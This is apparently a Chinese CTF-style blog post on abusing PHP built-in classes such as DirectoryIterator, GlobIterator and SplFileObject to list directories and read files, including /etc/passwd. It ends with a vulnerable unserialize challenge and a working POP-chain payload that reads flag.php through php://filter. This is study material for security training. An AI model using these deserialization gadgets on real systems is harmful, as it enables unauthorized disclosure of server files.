PHP内置类读文件

发布于 2023-04-22  365 次阅读


  • 这篇是这周例会上水的,其实前几篇misc是上周的内容,只不过本周准备演讲太忙没有发出来,嘿嘿,9000字的演讲稿,9000字的报告和60多页的ppt,一个人整的呢😋

目录遍历

  • 这些类是用来遍历目录的,用来确定某个目录下面有无文件
  • 这仨类的利用条件都是触发tostring魔术方法
DirectoryIterator 类
FilesystemIterator 类,是directory的子类,基本是一样的
GlobIterator 类
  • 前两个类接收目录名参数,返回目录下的第一个文件,基本是一样的,就只写一个了
  • 比较有意思的是如果传入根目录/,在windows下,/会被当作所在盘的根目录
<?php
$a=new DirectoryIterator("/");
echo $a;
?>

  • 在某些情况下,单传入目录名并不能得到返回的文件名,因为第一个文件名只有一个点点,这时候可以用for来把它输出出来看一下
";
}
?>

  • 也可以加glob协议来匹配,但是不写循环就只能返回一个
<?php
$a=new DirectoryIterator("glob:///f*");
echo $a;
?>

  • 也可以目录穿越(这个测试失败,但是一般也没啥用)
<?php
$a=new DirectoryIterator("glob:///php*../");
echo $a;
?>
  • GlobIterator就相当于默认带了glob协议的前两个协议,用法大概是
<?php
$a=new GlobIterator("f*");
echo $a;
?>

文件读取

  • SPL就是Standard PHP Library的缩写。据手册显示,SPL是用于解决典型问题(standard problems)的一组接口与类的集合。
  • 和目录遍历的类类似,都是to_string来触发的,都只能读一行
  • 要读完可以for循环
<?php
highlight_file(__FILE__); 
$dir = new SplFileObject('/etc/passwd'); 
foreach($dir as $key){
    echo($key);
}

例会题目

<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
<?php
error_reporting(0);
highlight_file(__FILE__);
class miao{
    public $OP;
    private $yuansheng;
    public function __construct(){
        $this -> OP = "在这么冷的天,想抽根电子烟";
        $this -> yuansheng = "可锐克没有电,可是雪豹已失联~";
    }
    public function i_got_smoke(){
        echo "快给我抽";
    }

    public function __wakeup(){
        echo $this -> OP;
    }
}

class XIAOWEN{
    public $KISS = "abstractmaster";
    public $IKUN = "可是呢,我肩上的背带,再靠不回来";
    public function __tostring(){
        $this -> IKUN ->KISS();
    }

}

class YANDistance{
    public $KUN;
    public $GNIT;

    public function abstractmaster($KUN){
        echo "你能想到如何命令执行吗?";

        if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/", $KUN)&&strlen($KUN) <= 5){
        eval($KUN);
        }
    }

    public function __call($AAA, $BBB) {
        $AAA = $this -> KUN;
        $BBB = $this -> GNIT;
        echo new $AAA($BBB);
    }
}
if(isset($_GET['miao']))
{
    unserialize($_GET['miao']);
}
  • YANDistance类的abstractmaster方法的eval基本是用不了的,但是这个类的call有个echo new $AAA($BBB)可以实例化一个类,并且触发to_string,考虑使用原生类进行文件读取
  • 那就直接找链子,miao类的wakeup进xiaowen类的to_string,再进YANDistance的call类
<?php
class miao{
    public $OP;
    public $yuansheng;
}
class XIAOWEN{
    public $KISS = "abstractmaster";
    public $IKUN = "可是呢,我肩上的背带,再靠不回来";
}
class YANDistance{
    public $KUN;
    public $GNIT;
}
$a = new miao();
$b = new XIAOWEN();
$c = new YANDistance();
$a->OP = $b;
$b->KISS = 'ycx';
$b->IKUN = $c;
$c->KUN = 'SplFileObject';
$c->GNIT = 'php://filter/read=convert.base64-encode/resource=flag.php';
echo urlencode(serialize($a));
届ける言葉を今は育ててる
最后更新于 2024-02-07